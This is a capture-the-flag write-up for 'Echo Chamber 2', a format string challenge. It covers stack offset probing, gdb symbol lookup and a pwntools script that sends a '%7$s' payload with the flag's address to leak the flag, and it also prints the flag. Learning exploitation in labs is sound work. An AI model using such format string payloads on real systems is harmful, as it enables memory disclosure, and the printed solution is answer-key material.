Echo Chamber 2

Problem Type

Format String Vulnerability

Checksec

```
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
```

We note that there are no Stack Canaries, and PIE is disabled (ASLR off).

Solution

This is the solution for `./echo2_static`. The net implementation `./echo2_net` will require some tweaking to the script to allow for network connection. The payloads may differ as well.

Vulnerability

Similar to 'Echo Chamber 1', the program takes in user input into the buffer, and prints it out with `print(buf)`.

Ghidra Decompilation:

```
void main(void)

{
  char local_28 [32];

  d(flag,0x67,0x3d,0x44,0x7b,0x6c,0x3d,0x7b,0x40,0x6c,0x3d,0x7d,0x3d,0x79,0x7a,0x50,0x41,0x43,0x2a,
    0x3d,0x7d,0x3e,0x44,0x21,0x7b,0x6c,0x21,0x6f,0x40,0x2c,0);
  do {
    puts("This cave is hollower than the last one ...");
    puts("Shout something:");
    fgets(local_28,0x20,stdin);
    printf("The cave echoes back: ");
    printf(local_28);
    putchar(10);
  } while( true );
}
```

Actual Source Code:

```
int main() {
    char buf[32];
    d(flag, ...)
    while(1) {
        printf("This cave is hollower than the last one ...\n");
        printf("Shout something:\n");
        fgets(buf,sizeof(buf),stdin);
```

```
        printf("The cave echoes back: ");
        printf(buf);
        printf("\n");
    }
    return 0;
}
```

`printf(buf)` is still susceptible to format string attacks. An in-depth summary of format string attacks can be found in the writeup for 'Echo Chamber 1'. In essence, we are allowed to pass format parameters such as `%s` and `%d` into the buffer. The program then leaks parameters off the stack, which might allow us to exploit the program.

Investigation

The difference between this problem and 'Echo Chamber 1', is that there is **no** character pointer initialized on the stack to point to the flag string in memory. In other words, there is no pointer reference on the stack we can use to directly read the flag string in memory.

Can we pass in the flag pointer into the stack? We check (with the following script) if the input is stored in the stack. The script below iterates the payload `AAAAAAAA %i$p`, where i increases from 0 to 10

```
p.recvuntil('Shout something:')
for i in range(10):
    p.sendline("AAAAAAAA %%%d$p" % i)
    p.recvuntil('The cave echoes back: ')
    print("%d - %s" % (i, p.recvuntil("\n", drop = True).decode()))
```

The output is as such:

```
0 - AAAAAAAA %0$p
1 - AAAAAAAA 0x40204d
2 - AAAAAAAA (nil)
3 - AAAAAAAA (nil)
4 - AAAAAAAA 0x7ffde5bc2970
5 - AAAAAAAA 0x16
6 - AAAAAAAA 0x4141414141414141
7 - AAAAAAAA 0xa7024372520
8 - AAAAAAAA 0x7ffde5bc2a80
9 - AAAAAAAA (nil)
```

We note that our input `AAAAAAAA` is actually stored in the 6th parameter as `0x4141414141414141`! (`41` is the ASCII hexcode for `A`).

However, we know that in 64-bit binaries, the first six 'parameters of the stack' `%1$p - %6$p` are registers. The first 'true' parameter at the top of the stack can be printed at `%7$p` - explained in detail in the 'Echo Chamber 1' Writeup.

Hence, we need to push the flag pointer reference into the top of the stack with some padding and then use the format parameter `%7$s` to read the string pointed to by the top of the stack.

The payload will look something like: `%7$s + 'padding' + 'flag pointer'`.

To reiterate, the padding is used to push the flag pointer onto the 7th parameter, which can then be referenced and printed with the `%7$s` format parameter. To keep the stack algined, the padding is 8 bytes or 4 characters long - 'AAAA'

We can find the `flag pointer` manually through gdb diassembly and search for the `flag` symbol address. Otherwise, we can use `pwntools`, a powerful library for python, and find it with `binary.sym.flag`.

- GDB Disassembly

```
$ gdb ./echo_2_static
GNU gdb (Debian 10.1-1.7) 10.1.90.20210103-git

gdb-peda$ info variables
All defined variables:

Non-debugging symbols:
0x0000000000402000  _IO_stdin_used
0x0000000000402064  __GNU_EH_FRAME_HDR
0x00000000004021c4  __FRAME_END__
0x0000000000403e10  __frame_dummy_init_array_entry
0x0000000000403e10  __init_array_start
0x0000000000403e18  __do_global_dtors_aux_fini_array_entry
0x0000000000403e18  __init_array_end
0x0000000000403e20  _DYNAMIC
0x0000000000404000  _GLOBAL_OFFSET_TABLE_
0x0000000000404060  __data_start
0x0000000000404060  data_start
0x0000000000404068  __dso_handle
0x0000000000404080  char_list
0x00000000004040df  __bss_start
0x00000000004040df  _edata
0x00000000004040e0  __TMC_END__
0x00000000004040e0  stdin
0x00000000004040e0  stdin@@GLIBC_2.2.5
0x00000000004040e8  completed
0x0000000000404100  flag
0x0000000000404300  _end
```

The flag can be found at address `0x404100`. As PIE is disabled, there is no ASLR, and we can assume that the flag address is fixed for the challenge. Addresses passed in has to be in reverse (little-endian) as the binary is using little-endian byte ordering - `\x00\x41\x40`

Final Payload

```
b'%7$s' + b'AAAA' + p64(binary.sym.flag)

OR

b'%7$s' +  b'AAAA' + b'\x00\x41\x40\x00\x00\x00\x00\x00'

OR

b'%00007$s' + p64(binary.sym.flag)
```

Note: We can use `%00007$s` for the 8 byte padding.

Sample Script (For Static Challenge)

```
from pwn import *

binary = context.binary = ELF('./echo_2_static')

p = process(binary.path)

# get flag
payload = b'%00007$s' + p64(binary.sym.flag)
print(payload)
p.recvuntil('Shout something:')
p.sendline(payload)
p.recvuntil('The cave echoes back: ')
flag = p.recvline()
print(flag)
p.close()
```

Result

```
p.recvuntil('The cave echoes back: ')
b'CZ4067{n0_p01n73r_n0_pr0bl3m}\n'
```

Flag

CZ4067{n0_p01n73r_n0_pr0bl3m}